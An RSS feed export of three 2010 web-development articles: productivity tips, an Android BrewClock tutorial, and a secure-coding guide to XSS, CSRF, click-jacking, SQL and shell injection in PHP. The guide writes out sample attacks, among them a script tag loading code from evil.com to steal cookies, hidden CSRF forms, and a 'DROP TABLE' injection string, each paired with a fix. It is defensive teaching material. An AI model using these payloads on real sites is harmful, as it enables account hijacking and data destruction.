Choose a task to be accomplished;Set the Pomodoro (i.e. the timer) to 25 minutes;Work on the task until the Pomodoro rings, and then put a check on your sheet of paper;Take a short break (about five minutes);After every four Pomodoros, take a longer break.My own productivity method mixes these two techniques. I break big tasks into smaller chunks, and then I write them down in a Pomodoro-like table and work on them for 25 to 30 minutes, with 5 to 10 minutes breaks.
Getting PerspectiveGet Some Rest Photo by Dmitry Belitsky
Rest is just as important as work. They are a yin and yang, work and rest. Rest both your body and mind. No one can work much more than 40 hours per week and still be productive.
Here are a few tips to rest the right way:
Take a break. If you have worked on the computer for more than an hour, switch your focus. Go exercise, wash the dishes or take a walk. Attend to something that doesn’t involve staring incessantly at a screen. When you get back to work, you will find your mind relaxed and rested.
Meditate. Meditation comes down to us from the ancient sages as a method of training the mind to be at peace. It helps you to relax your mind and body and become at once joyful and calm. There are a lot of different techniques of meditating; try the simplest one, making it a part of your daily routine. This is a great article on meditation because it relates to creative fields, but the principles apply to any profession (and who says good code isn’t art, anyway?).
Go for a walk. Walking is a great way to calm your mind, exercise your body and take in fresh air. Integrate walking into your daily or weekly routine, too.
Don’t overeat. Overeating takes blood away from your brain and moves it to your hard-working stomach to help it digest all that food. This makes you tired and less focused. Food is great, but don’t overdo it.
Take up a non-computer-related hobby. We should all find something that keeps us away from our computers for a while. If you live alone and work as a freelancer, you can lose yourself for weeks, working too hard and forgetting everything else. Jamis Buck has some great advice on the subject:
“You should be well balanced. Computers are great and everything, but you should definitely have hobbies that are completely unrelated to computers. In the last two years I’ve taken up both wood carving and string figuring, and they have helped me immensely in recovering from burn-out.”
Success“Everything you write is crap, so always try to improve yourself.” – Dirkjan Bussink.Hard work is the secret to success.Passion is critical; it makes or breaks any endeavor.Love what you do.“Never let anyone (yourself included) convince you not to do something that will make you happy or fulfilled.” – Yehuda KatzVideo ResourcesThe Merb team on becoming a hacker;Mastering the Art of Application Development, by Obie Fernandez;Passionate Programmer, by Chad Fowler;How to Become a Successful Rubyist (series of interviews).Parting ThoughtDecide how good you want to be. Do you want to master the craft or just fulfill the basic needs of employment? As a freelance developer, you might find yourself in a constant struggle. You could be forced to produce code that you are dissatisfied with because of a tight deadline or unforeseen problems with other parts of the project. Be patient and relentless. Know that you will become more skilled over time, and trust that you will eventually—even if it takes years—be proud of your abilities.
(al)
© Dmitry Belitsky, Grayson Stebbins for Smashing Magazine, 2010. | Permalink | Post a comment | Add to del.icio.us | Digg this | Stumble on StumbleUpon! | Tweet it! | Submit to Reddit | Forum Smashing Magazine Post tags: freelancing, rails, ruby 
 ]]></description>
<dc:subject>Coding freelancing rails ruby</dc:subject>
<dc:identifier>https://pinboard.in/u:seancron/b:3238930339ea/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:Coding"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:freelancing"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:rails"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:ruby"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://www.smashingmagazine.com/2010/10/25/get-started-developing-for-android-with-eclipse/">
    <title>Get Started Developing for Android with Eclipse</title>
    <dc:date>2010-10-25T13:40:45+00:00</dc:date>
    <link>http://www.smashingmagazine.com/2010/10/25/get-started-developing-for-android-with-eclipse/</link>
    <dc:creator>seancron</dc:creator><description><![CDATA[    Russian Translation via softdroid.net
There’s a lot to get excited about in mobile application development today. With increasingly sophisticated hardware, tablet PCs and a variety of software platforms (Symbian OS, iOS, WebOS, Windows Phone 7…), the landscape for mobile developers is full of opportunities — and a little complex as well.
So much choice can be overwhelming when you just want to get started building mobile applications. Which platform should you choose? What programming language should you learn? What kit do you need for your planned project? In this tutorial, you’ll learn how to start writing applications for Android, the open-source mobile operating system popularized by Google.
Why Develop for Android?Android is an open-source platform based on the Linux kernel, and is installed on thousands of devices from a wide range of manufacturers. Android exposes your application to all sorts of  hardware that you’ll find in modern mobile devices — digital compasses, video cameras, GPS, orientation sensors, and more.
Android’s free development tools make it possible for you to start writing software at little or no cost. When you’re ready to show off your application to the world, you can publish it to Google’s Android Market. Publishing to Android Market incurs a one-off registration fee (US $25 at the time of writing) and, unlike Apple’s App Store which famously reviews each submission, makes your application available for customers to download and buy after a quick review process — unless the application is blatantly illegal.
Here are a few other advantages Android offers you as a developer:
The Android SDK is available for Windows, Mac and Linux, so you don’t need to pay for new hardware to start writing applications.An SDK built on Java. If you’re familiar with the Java programming language, you’re already halfway there.By distributing your application on Android Market, it’s available to hundreds of thousands of users instantly. You’re not just limited to one store, because there are alternatives, too. For instance, you can release your application on your own blog. Amazon have recently been rumoured to be preparing their own Android app store also.As well as the technical SDK documentation, new resources are being published for Android developers as the platform gains popularity among both users and developers.Enough with the talk — let’s get started developing for Android!
Installing Eclipse and the Android SDKThe recommended environment for developing Android applications is Eclipse with the Android Development Toolkit (ADT) plugin installed. I’ll summarize the process here. If you need more detail, Google’s own developer pages do a good job of explaining the installation and configuration process.
Download the Android SDK for your platform (Windows, Mac OS X, or Linux).Extract the downloaded file to somewhere memorable on your hard drive (on Linux, I use /opt/local/).If you don’t already have Eclipse installed, download and install the Eclipse IDE for Java Developers package. For programming, Google recommends using Eclipse 3.5 (Galileo).Run Eclipse and choose Help->Install New Software.Click Add in the Available Software window.Enter Android Development Tools in the Name field, and https://dl-ssl.google.com/android/eclipse/ in the Location field.Click OK and check Developer Tools in the list of available software. This will install the Android Development Tools and DDMS, Android’s debugging tool. Large image
Click Next and Finish to install the plugin. You’ll need to restart Eclipse once everything is installed.When Eclipse restarts, choose Window->Preferences and you should see Android listed in the categories.You now need to tell Eclipse where you’ve installed the Android SDK. Click Android and then Browse to select the location where you extracted the SDK files. For example, /opt/local/android-sdk.  Large viewClick OK to have Eclipse save the location of your SDK.Targeting Android PlatformsBefore you can start writing applications for Android, you need to download the SDK platforms for the Android devices for which you want to develop apps. Each platform has a different version of the Android SDK that may be installed on users’ devices.  For versions of Android 1.5 and above, there are two platforms available: Android Open Source Project and Google.
The Android Open Source Project platforms are open source, but do not include Google’s proprietary extensions such as Google Maps. If you choose not to use the Google APIs, Google’s mapping functionality won’t be available to your application. Unless you have a specific reason not to, I’d recommended you to target one of the Google platforms, as this will allow you to take advantage of Google’s proprietary extensions.
Choose Window->Android SDK and AVD Manager.Click Available Packages in the left column and check the repository to show a list of the available Android platforms.You can choose which platforms to download from the list, or leave everything checked to download all the available platforms. When you’re done, click Install Selected and follow the installation instructions. Large imageOnce everything has been successfully downloaded, you’re ready to start developing for Android.
Creating a New Android ProjectEclipse’s New Project Wizard can create a new Android application for you, generating files and code that are ready to run right out of the box. It’s a quick way to see something working, and a good starting point from which to develop your own applications:
Choose File->New->Project…Choose Android ProjectIn the New Project dialog, enter the following settings:Project Name: BrewClock
Build Target: Google Inc. 1.6 (Api Level 4)
Application Name: BrewClock
Package Name: com.example.brewclock
Create Activity: BrewClockActivity
Min SDK Version: 4
After clicking Finish, Eclipse will create a new Android project that’s ready to run. Notice you told Eclipse to generate an Activity called BrewClockActivity? This is the code that Android actually uses to run your application. The generated code will display a simple ‘Hello World’ style message when the application runs.
PackagesThe package name is an identifier for your application. When the time comes and you are willing to publish on Android Market, it’s exactly this identifier that will be used to track your application for updates, so it’s important to make sure it’s unique. Although we’re using the com.example.brewclock namespace here, for a real application it’s best to choose something like com.yourcompanyname.yourapplication.
SDK VersionsThe Min SDK Version is the earliest version of Android on which your application will run. With each new release of Android, the SDK adds and changes methods. By choosing an SDK version, Android (and the Android Market) knows that your application will only run on devices with a version of Android later or equal than the specified version.
Running Your ApplicationNow let’s try running the application in Eclipse. As this is the first run, Eclipse will ask what type of project you are working on:
Choose Run->Run or press Ctrl+F11.Choose Android Application and click OK.Eclipse will now try to run the application on an Android device. At the moment, though, you don’t have any Android devices running, so the run will fail and you’ll be asked to create a new Android Virtual Device (AVD).

Android Virtual DevicesAn Android Virtual Device (AVD) is an emulator that simulates a real-world Android device, such as a mobile phone or Tablet PC. You can use AVDs to test how your application performs on a wide variety of Android devices, without having to buy every gadget on the market.
You can create as many AVDs as you like, each set up with different versions of the Android Platform. For each AVD you create, you can configure various hardware properties such as whether it has a physical keyboard, GPS support, the camera resolution, and so on.
Before you can run your application, you need to create your first AVD running the target SDK platform (Google APIs 1.6).
Let’s do that now:
If you haven’t tried to run your application yet, click Run now (or hit Ctrl+F11)When the target device warning pops up, click Yes to create a new AVD.Click New in the Android SDK and AVD Manager dialog that appears.Enter the following settings for the AVD:Name: Android_1.6
Target: Google APIs (Google Inc.) - API Level 4
SD Card Size: 16 MiB
Skin Built In: Default (HVGA)Click Create AVD to have Android build your new AVD.Close the Android SDK and AVD Manager dialog.
Running the CodeTry running your application again (Ctrl+F11). Eclipse will now build your project and launch the new AVD. Remember, the AVD emulates a complete Android system, so you’ll even need to sit through the slow boot process just like a real device. For this reason, once the AVD is up and running, it’s best not to close it down until you’ve finished developing for the day.
When the emulator has booted, Eclipse automatically installs and runs your application:
 Large image
Building Your First Android ApplicationTesting generated code is all well and good, but you want to start building a real application. For this, we’ll step through a simple design process and build an application that you can deploy to your Android device.
Most developers (myself included) like a constant supply of good tea or coffee. In the next section of this article you’ll build a simple tea counter application to track how many cups of tea (brews) the user has drunk, and let them set a timer for brewing each cup.
You can download the complete code for this tutorial on GitHub.
Designing the User InterfaceOne of the first steps to building any Android application is to design and build the user interface. Here’s a quick sketch of how the application’s interface will look:
 Large image
The user will be able to set a brew time in minutes using the + and - buttons. When they click Start, a countdown will start for the specified number of minutes. Unless the user cancels the brew by tapping the button again, the brew count will be increased when the countdown timer reaches 0.
Building the InterfaceAndroid user interfaces, or layouts, which are described in XML documents, can be found in the res/layouts folder. The template code that Eclipse generated already has a simple layout declared in res/layouts/main.xml which you may have seen previously while the application was running on the emulator.
Eclipse has a graphical layout designer that lets you build the interface by ‘dragging’ and ‘dropping’ controls around the screen. However, I often find it easier to write the interface in XML and use the graphical layout to preview the results.
Let’s do this now by changing main.xml to match the design sketch above:
Open res/layouts/main.xml in Eclipse by double-clicking it in the Package Explorer.Click the main.xml tab along the bottom of the screen to switch to XML view.Now change the content of main.xml to:
# /res/layouts/main.xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout
  xmlns:android="http://schemas.android.com/apk/res/android"
  android:orientation="vertical"
  android:layout_width="fill_parent"
  android:layout_height="fill_parent">
  <LinearLayout
    android:orientation="horizontal"
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:padding="10dip">
    <TextView
      android:layout_width="wrap_content"
      android:layout_height="wrap_content"
      android:textSize="20dip"
      android:text="Brews: " />
    <TextView
      android:layout_width="fill_parent"
      android:layout_height="wrap_content"
      android:text="None"
      android:gravity="right"
      android:textSize="20dip"
      android:id="@+id/brew_count_label" />
  </LinearLayout>
  <LinearLayout
    android:orientation="horizontal"
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:layout_weight="1"
    android:gravity="center"
    android:padding="10dip">
    <Button
      android:id="@+id/brew_time_down"
      android:layout_width="wrap_content"
      android:layout_height="wrap_content"
      android:text="-"
      android:textSize="40dip" />
    <TextView
      android:id="@+id/brew_time"
      android:layout_width="wrap_content"
      android:layout_height="wrap_content"
      android:text="0:00"
      android:textSize="40dip"
      android:padding="10dip" />
    <Button
      android:id="@+id/brew_time_up"
      android:layout_width="wrap_content"
      android:layout_height="wrap_content"
      android:text="+"
      android:textSize="40dip" />
  </LinearLayout>
  <Button
    android:id="@+id/brew_start"
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:layout_gravity="bottom"
    android:text="Start" />
</LinearLayout>As you can see, Android’s XML layout files are verbose, but allow you to control virtually every aspect of elements on the screen.
One of the most important interface elements in Android are Layout containers, such as the LinearLayout used in this example. These elements are invisible to the user but act as layout containers for other elements such as Buttons and TextViews.
There are several types of layout views, each of which is used to build different types of layout. As well as the LinearLayout and AbsoluteLayout, the TableLayout allows the use of complex grid-based interfaces. You can find out more about Layouts in the Common Layout Objects section of the API documents.
Linking Your Layout With CodeAfter saving your layout, try running your application in the emulator again by pressing Ctrl+F11, or clicking the Run icon in Eclipse. Now instead of the ‘Hello World’ message you saw earlier, you’ll see Android now displays your application’s new interface.
If you click any of the buttons, they’ll highlight as expected, but don’t do anything yet. Let’s remedy that by writing some code behind the interface layout:
# /src/com/example/brewclock/BrewClockActivity.java
...
import android.widget.Button;
import android.widget.TextView;

public class BrewClockActivity extends Activity {
  /** Properties **/
  protected Button brewAddTime;
  protected Button brewDecreaseTime;
  protected Button startBrew;
  protected TextView brewCountLabel;
  protected TextView brewTimeLabel;

  ...
 }Next, we’ll change the call to onCreate. This is the method that gets called whenever Android starts your application. In the code that Eclipse generated, onCreate sets the activity’s view to be R.layout.main. It’s that line of code that tells Android to decode our layout XML document and display it to the user.
The Resource ObjectIn Android, R is a special object that is automatically generated to allow access to your project’s resources (layouts, strings, menus, icons…) from within the code. Each resource is given an id. In the layout file above, these are the @+id XML attributes. We’ll use those attributes to connect the Buttons and TextViews in our layout to the code:
# /src/com/example/brewclock/BrewClockActivity.java
...
public class BrewClockActivity extends Activity {
  ...
  public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.main);

    // Connect interface elements to properties
    brewAddTime = (Button) findViewById(R.id.brew_time_up);
    brewDecreaseTime = (Button) findViewById(R.id.brew_time_down);
    startBrew = (Button) findViewById(R.id.brew_start);
    brewCountLabel = (TextView) findViewById(R.id.brew_count_label);
    brewTimeLabel = (TextView) findViewById(R.id.brew_time);
  }
}Listening For EventsIn order to detect when the user taps one of our buttons, we need to implement a listener. You may be familiar with listeners or callbacks from other event-driven platforms, such as Javascript/jQuery events or Rails’ callbacks.
Android provides a similar mechanism by providing Listener interfaces, such as OnClickListener, that define methods to be triggered when an event occurs. Implementing the OnClickListener interface will notify your application when the user taps the screen, and on which button they tapped. You also need to tell each button about the ClickListener so that it knows which listener to notify:
# /src/com/example/brewclock/BrewClockActivity.java
...
// Be sure not to import
// `android.content.dialoginterface.OnClickListener`.
import android.view.View.OnClickListener; 

public class BrewClockActivity extends Activity
  implements OnClickListener {
  ...
  public void onCreate(Bundle savedInstanceState) {
    ...
    // Setup ClickListeners
    brewAddTime.setOnClickListener(this);
    brewDecreaseTime.setOnClickListener(this);
    startBrew.setOnClickListener(this);
  }
  ...
  public void onClick(View v) {
    // TODO: Add code to handle button taps
  }
}Next we’ll add code that handles each of our button presses. We’ll also add four new properties to the Activity that will let the user set and track the brewing time, how many brews have been made, and whether the timer is currently running.
# /src/com/example/brewclock/BrewClockActivity.java
...
public class BrewClockActivity extends Activity
  implements OnClickListener {
  ...
  protected int brewTime = 3;
  protected CountDownTimer brewCountDownTimer;
  protected int brewCount = 0;
  protected boolean isBrewing = false;
  ...
  public void onClick(View v) {
    if(v == brewAddTime)
      setBrewTime(brewTime + 1);
    else if(v == brewDecreaseTime)
      setBrewTime(brewTime -1);
    else if(v == startBrew) {
      if(isBrewing)
        stopBrew();
      else
        startBrew();
    }
  }
}Notice we’re using the CountDownTimer class provided by Android. This lets you easily create and start a simple countdown, and be notified at regular intervals whilst the countdown is running. You’ll use this in the startBrew method below.
The following methods are all model logic that handles setting the brew time, starting and stopping the brew and maintaining a count of brews made. We’ll also initialize the brewTime and brewCount properties in onCreate.
It would be good practice to move this code to a separate model class, but for simplicity we’ll add the code to our BrewClockActivity:
# /src/com/example/brewclock/BrewClockActivity.java
...
public class BrewClockActivity extends Activity
  implements OnClickListener {
  ...
  public void onCreate(Bundle savedInstanceState) {
    ...
    // Set the initial brew values
    setBrewCount(0);
    setBrewTime(3);
  }

  /**
   * Set an absolute value for the number of minutes to brew.
   * Has no effect if a brew is currently running.
   * @param minutes The number of minutes to brew.
   */
  public void setBrewTime(int minutes) {
    if(isBrewing)
      return;

    brewTime = minutes;

    if(brewTime < 1)
      brewTime = 1;

    brewTimeLabel.setText(String.valueOf(brewTime) + "m");
  }

  /**
   * Set the number of brews that have been made, and update
   * the interface.
   * @param count The new number of brews
   */
  public void setBrewCount(int count) {
    brewCount = count;
    brewCountLabel.setText(String.valueOf(brewCount));
  }

  /**
   * Start the brew timer
   */
  public void startBrew() {
    // Create a new CountDownTimer to track the brew time
    brewCountDownTimer = new CountDownTimer(brewTime * 60 * 1000, 1000) {
      @Override
      public void onTick(long millisUntilFinished) {
        brewTimeLabel.setText(String.valueOf(millisUntilFinished / 1000) + "s");
      }

      @Override
      public void onFinish() {
        isBrewing = false;
        setBrewCount(brewCount + 1);

        brewTimeLabel.setText("Brew Up!");
        startBrew.setText("Start");
      }
    };

    brewCountDownTimer.start();
    startBrew.setText("Stop");
    isBrewing = true;
  }

  /**
   * Stop the brew timer
   */
  public void stopBrew() {
    if(brewCountDownTimer != null)
      brewCountDownTimer.cancel();

    isBrewing = false;
    startBrew.setText("Start");
  }
  ...
}The only parts of this code specific to Android are setting the display labels using the setText method. In startBrew, we create and start a CountDownTimer to start counting down every second until a brew is finished. Notice that we define CountDownTimer's listeners (onTick and onFinish) inline. onTick will be called every 1000 milliseconds (1 second) the timer counts down, whilst onFinish is called when the timer reaches zero.
Avoiding Hard-Coded Text in your CodeTo keep this tutorial code simple, I’ve intentionally written label strings directly in the code (e.g. "Brew Up!", "Start", "Stop"). Generally, this isn’t good practice, as it makes finding and changing those strings harder in large projects.
Android provides a neat way to keep your text strings separate from code with the R object. R lets you define all your application’s strings in an xml file (res/values/strings.xml) which you can then access in code by reference. For example:
# /res/values/strings.xml
<string name="brew_up_label">Brew Up!</string>
...

# /res/com/example/brewclock/BrewClockActivity.java
...
brewLabel.setText(R.string.brew_up_label);
...Now if you wanted to change Brew Up! to something else, you would only need to change it once in the strings.xml file. Your application starts to span dozens of code files which keeps all your strings in one place and makes a lot of sense!
Trying BrewClockWith the code complete, it’s time to try out the application. Hit Run or Ctrl+F11 to start BrewClock in the emulator. All being well, you’ll see the interface set up and ready to time your tea brewing! Try setting different brew times, and pressing Start to watch the countdown.
 Large image
SummaryIn this short introduction to Android, you’ve installed the Android SDK and Eclipse Android Development Tools (ADT) plugin. You’ve set up an emulator, or virtual device that can test your applications. You’ve also built a working Android application which has highlighted a number of key concepts that you’ll use when developing your own Android applications.
Hopefully, this has whet your appetite for building mobile applications, and experimenting in this exciting field. Android offers a great way to start writing applications for a range of current and upcoming mobile devices. If you’ve built or are working on your own mobile app, be sure to let us know about it in the comments!
(ik), (vf)
© Chris Blunt for Smashing Magazine, 2010. | Permalink | Post a comment | Add to del.icio.us | Digg this | Stumble on StumbleUpon! | Tweet it! | Submit to Reddit | Forum Smashing Magazine Post tags: android, mobile 
]]></description>
<dc:subject>Coding android mobile</dc:subject>
<dc:identifier>https://pinboard.in/u:seancron/b:2dfff805a547/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:Coding"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:android"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:mobile"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://www.smashingmagazine.com/2010/10/18/common-security-mistakes-in-web-applications/">
    <title>Common Security Mistakes in Web Applications</title>
    <dc:date>2010-10-18T12:44:39+00:00</dc:date>
    <link>http://www.smashingmagazine.com/2010/10/18/common-security-mistakes-in-web-applications/</link>
    <dc:creator>seancron</dc:creator><description><![CDATA[    Web application developers today need to be skilled in a multitude of disciplines.  It’s necessary to build an application that is user friendly, highly performant, accessible and secure, all while executing partially in an untrusted environment that you, the developer, have no control over.  I speak, of course, about the User Agent.  Most commonly seen in the form of a web browser, but in reality, one never really knows what’s on the other end of the HTTP connection.
There are many things to worry about when it comes to security on the Web. Is your site protected against denial of service attacks?  Is your user data safe?  Can your users be tricked into doing things they would not normally do?  Is it possible for an attacker to pollute your database with fake data?  Is it possible for an attacker to gain unauthorized access to restricted parts of your site?  Unfortunately, unless we’re careful with the code we write, the answer to these questions can often be one we’d rather not hear.
We’ll skip over denial of service attacks in this article, but take a close look at the other issues.  To be more conformant with standard terminology, we’ll talk about Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Phishing, Shell injection and SQL injection.  We’ll also assume PHP as the language of development, but the problems apply regardless of language, and solutions will be similar in other languages.
[Offtopic: by the way, did you know that there is a Smashing eBook Series? Book #2 is Successful Freelancing for Web Designers, 260 pages for just $9,90.]
1. Cross-site scripting (XSS)Cross-site scripting is an attack in which a user is tricked into executing code from an attacker’s site (say evil.com) in the context of our website (let’s call it www.mybiz.com).  This is a problem regardless of what our website does, but the severity of the problem changes depending on what our users can do on the site.  Let’s look at an example.
Let’s say that our site allows the user to post cute little messages for the world (or maybe only their friends) to see.  We’d have code that looks something like this:

<?php
  echo "$user said $message";
?>
To read the message in from the user, we’d have code like this:

<?php
  $user = $_COOKIE['user'];
  $message = $_REQUEST['message'];
  if($message) {
     save_message($user, $message);
  }
?>
<input type="text" name="message" value="<?php echo $message ?>">
This works only as long as the user sticks to messages in plain text, or perhaps a few safe HTML tags like <strong> or <em>.  We’re essentially trusting the user to only enter safe text.  An attacker, though, may enter something like this:

Hi there...<script src="h++p://evil.com/bad-script.js"></script>
(Note that I’ve changed http to h++p to prevent auto-linking of the URL).
When a user views this message on their own page, they load bad-script.js into their page, and that script could do anything it wanted, for example, it could steal the contents of document.cookie, and then use that to impersonate the user and possibly send spam from their account, or more subtly, change the contents of the HTML page to do nasty things, possibly installing malware onto the reader’s computer.  Remember that bad-script.js now executes in the context of www.mybiz.com.
This happens because we’ve trusted the user more than we should.  If, instead, we only allow the user to enter contents that are safe to display on the page, we prevent this form of attack.  We accomplish this using PHP’s input_filter extension.
We can change our PHP code to the following:

<?php
  $user = filter_input(INPUT_COOKIE, 'user',
                         FILTER_SANITIZE_SPECIAL_CHARS);
  $message = filter_input(INPUT_POST | INPUT_GET, 'message',
                         FILTER_SANITIZE_SPECIAL_CHARS);
  if($message) {
     save_message($user, $message);
  }
?>
<input type="text" name="message" value="<?php echo $message ?>">
Notice that we run the filter on the input and not just before output.  We do this to protect against the situation where a new use case may arise in the future, or a new programmer comes in to the project, and forgets to sanitize data before printing it out.  By filtering at the input layer, we ensure that we never store unsafe data.  The side-effect of this is that if you have data that needs to be displayed in a non-web context (e.g. a mobile text message/pager message), then it may be unsuitably encoded.  You may need further processing of the data before sending it to that context.
Now chances are that almost everything you get from the user is going to be written back to the browser at some point, so it may be best to just set the default filter to FILTER_SANITIZE_SPECIAL_CHARS by changing filter.default in your php.ini file.
PHP has many different input filters, and it’s important to use the one most relevant to your data.  Very often an XSS creeps in because we use FILTER_SANITIZE_SPECIAL_CHARS when we should have used FILTER_SANITIZE_ENCODED or FILTER_SANITIZE_URL or vice-versa. You should also carefully review any code that uses something like html_entity_decode, because this could potentially open your code up for attack by undoing the encoding added by the input filter.
If a site is open to XSS attacks, then its users’ data is not safe.
2. Cross-site request forgery (CSRF)A CSRF (sometimes abbreviated as XSRF) is an attack where a malicious site tricks our  visitors into carrying out an action on our site.  This can happen if a user logs in to a site that they use a lot (e.g. e-mail, Facebook, etc.), and then visits a malicious site without first logging out.  If the original site is susceptible to a CSRF attack, then the malicious site can do evil things on the user’s behalf.  Let’s take the same example as above.
Since our application reads in input either from POST data or from the query string, an attacker could trick our user into posting a message by including code like this on their website:

<img src="h++p://www.mybiz.com/post_message?message=Cheap+medicine+at+h++p://evil.com/"
     style="position:absolute;left:-999em;">
Now all the attacker needs to do, is get users of mybiz.com to visit their site.  This is fairly easily accomplished by, for example, hosting a game, or pictures of cute baby animals.  When the user visits the attacker’s site, their browser sends a GET request to www.mybiz.com/post_message. Since the user is still logged in to www.mybiz.com, the browser sends along the user’s cookies, thereby posting an advertisement for cheap medicine to all the user’s friends.
Simply changing our code to only accept submissions via POST doesn’t fix the problem.  The attacker can change the code to something like this:

<iframe name="pharma" style="display:none;"></iframe>
<form id="pform"
      action="h++p://www.mybiz.com/post_message"
      method="POST"
      target="pharma">
<input type="hidden" name="message" value="Cheap medicine at ...">
</form>
<script>document.getElementById('pform').submit();</script>
Which will POST the form back to www.mybiz.com.
The correct way to to protect against a CSRF is to use a single use token tied to the user.  This token can only be issued to a signed in user, and is based on the user’s account, a secret salt and possibly a timestamp.  When the user submits the form, this token needs to be validated.  This ensures that the request originated from a page that we control.  This token only needs to be issued when a form submission can do something on behalf of the user, so there’s no need to use it for publicly accessible read-only data.  The token is sometimes referred to as a nonce.
There are several different ways to generate a nonce.  For example, have a look at the wp_create_nonce, wp_verify_nonce and wp_salt functions in the WordPress source code.  A simple nonce may be generated like this:

<?php
function get_nonce() {
  return md5($salt . ":"  . $user . ":"  . ceil(time()/86400));
}
?>
The timestamp we use is the current time to an accuracy of 1 day (86400 seconds), so it’s valid as long as the action is executed within a day of requesting the page.  We could reduce that value for more sensitive actions (like password changes or account deletion).  It doesn’t make sense to have this value larger than the session timeout time.
An alternate method might be to generate the nonce without the timestamp, but store it as a session variable or in a server side database along with the time when the nonce was generated.  That makes it harder for an attacker to generate the nonce by guessing the time when it was generated.

<?php
function get_nonce() {
  $nonce = md5($salt . ":"  . $user);
  $_SESSION['nonce'] = $nonce;
  $_SESSION['nonce_time'] = time();
  return $nonce;
}
?>
We use this nonce in the input form, and when the form is submitted, we regenerate the nonce or read it out of the session variable and compare it with the submitted value.  If the two match, then we allow the action to go through.  If the nonce has timed out since it was generated, then we reject the request.

<?php
  if(!verify_nonce($_POST['nonce'])) {
     header("HTTP/1.1 403 Forbidden", true, 403);
     exit();
  }
  // proceed normally
?>
This protects us from the CSRF attack since the attacker’s website cannot generate our nonce.
If you don’t use a nonce, your user can be tricked into doing things they would not normally do. Note that even if you do use a nonce, you may still be susceptible to a click-jacking attack.
3. Click-jackingWhile not on the OWASP top ten list for 2010, click-jacking has gained recent fame due to attacks against Twitter and Facebook, both of which spread very quickly due to the social nature of these platforms.
Now since we use a nonce, we’re protected against CSRF attacks, however, if the user is tricked into clicking the submit link themselves, then the nonce won’t protect us.  In this kind of attack, the attacker includes our website in an iframe on their own website.  The attacker doesn’t have control over our page, but they do control the iframe element.  They use CSS to set the iframe’s opacity to 0, and then use JavaScript to move it around such that the submit button is always under the user’s mouse.  This was the technique used on the Facebook Like button click-jack attack.
Frame busting appears to be the most obvious way to protect against this, however it isn’t fool proof.  For example, adding the security="restricted" attribute to an iframe will stop any frame busting code from working in Internet Explorer, and there are ways to prevent frame busting in Firefox as well.
A better way might be to make your submit button disabled by default and then use JavaScript to enable it once you’ve determined that it’s safe to do so.  In our example above, we’d have code like this:

<input type="text" name="message" value="<?php echo $message ?>">
<input id="msg_btn" type="submit" disabled="true">
<script type="text/javascript">
if(top == self) {
   document.getElementById("msg_btn").disabled=false;
}
</script>
This way we ensure that the submit button cannot be clicked on unless our page runs in a top level window.  Unfortunately, this also means that users with JavaScript disabled will also be unable to click the submit button.
4. SQL injectionIn this kind of an attack, the attacker exploits insufficient input validation to gain shell access on your database server.  XKCD has a humorous take on SQL injection:
Full image (from xkcd)
Let’s go back to the example we have above.  In particular, let’s look at the save_message() function.

<?php
function save_message($user, $message)
{
  $sql = "INSERT INTO Messages (
            user, message
          ) VALUES (
            '$user', '$message'
          )";

  return mysql_query($sql);
}
?>
The function is oversimplified here, but it exemplifies the problem.  The attacker could enter something like

test');DROP TABLE Messages;--
When this gets passed to the database, it could end up dropping the Messages table, causing you and your users a lot of grief.  This kind of an attack calls attention to the attacker, but little else.  It’s far more likely for an attacker to use this kind of attack to insert spammy data on behalf of other users.  Consider this message instead:

test'), ('user2', 'Cheap medicine at ...'), ('user3', 'Cheap medicine at ...
Here the attacker has successfully managed to insert spammy messages into the comment streams from user2 and user3 without needing access to their accounts.  The attacker could also use this to download your entire user table that possibly includes usernames, passwords and email addresses.
Fortunately, we can use prepared statements to get around this problem.  In PHP, the PDO abstraction layer makes it easy to use prepared statements even if your database itself doesn’t support them.  We could change our code to use PDO.

<?php
function save_message($user, $message)
{
  // $dbh is a global database handle
  global $dbh;

  $stmt = $dbh->prepare('
                     INSERT INTO Messages (
                          user, message
                     ) VALUES (
                          ?, ?
                     )');
  return $stmt->execute(array($user, $message));
}
?>
This protects us from SQL injection by correctly making sure that everything in $user goes into the user field and everything in $message goes into the message field even if it contains database meta characters.
There are cases where it’s hard to use prepared statements.  For example, if you have a list of values in an IN clause.  However, since our SQL statements are always generated by code, it is possible to first determine how many items need to go into the IN clause, and add as many ? placeholders instead.
5. Shell injectionSimilar to SQL injection, the attacker tries to craft an input string to gain shell access to your web server.  Once they have shell access, they could potentially do a lot more.  Depending on access privileges, they could add JavaScript to your HTML pages, or gain access to other internal systems on your network.
Shell injection can take place whenever you pass untreated user input to the shell, for example by using the system(), exec() or `` commands.  There may be more functions depending on the language you use when building your web app.
The solution is the same for XSS attacks.  You need to validate and sanitize all user inputs appropriately for where it will be used.  For data that gets written back into an HTML page, we use PHP’s input_filter() function with the FILTER_SANITIZE_SPECIAL_CHARS flag.  For data that gets passed to the shell, we use the escapeshellcmd() and escapeshellarg() functions.  It’s also a good idea to validate the input to make sure it only contains a whitelist of characters.  Always use a whitelist instead of a blacklist.  Attackers find inventive ways of getting around a blacklist.
If an attacker can gain shell access to your box, all bets are off.  You may need to wipe everything off that box and reimage it.  If any passwords or secret keys were stored on that box (in configuration files or source code), they will need to be changed at all locations where they are used.  This could prove quite costly for your organization.
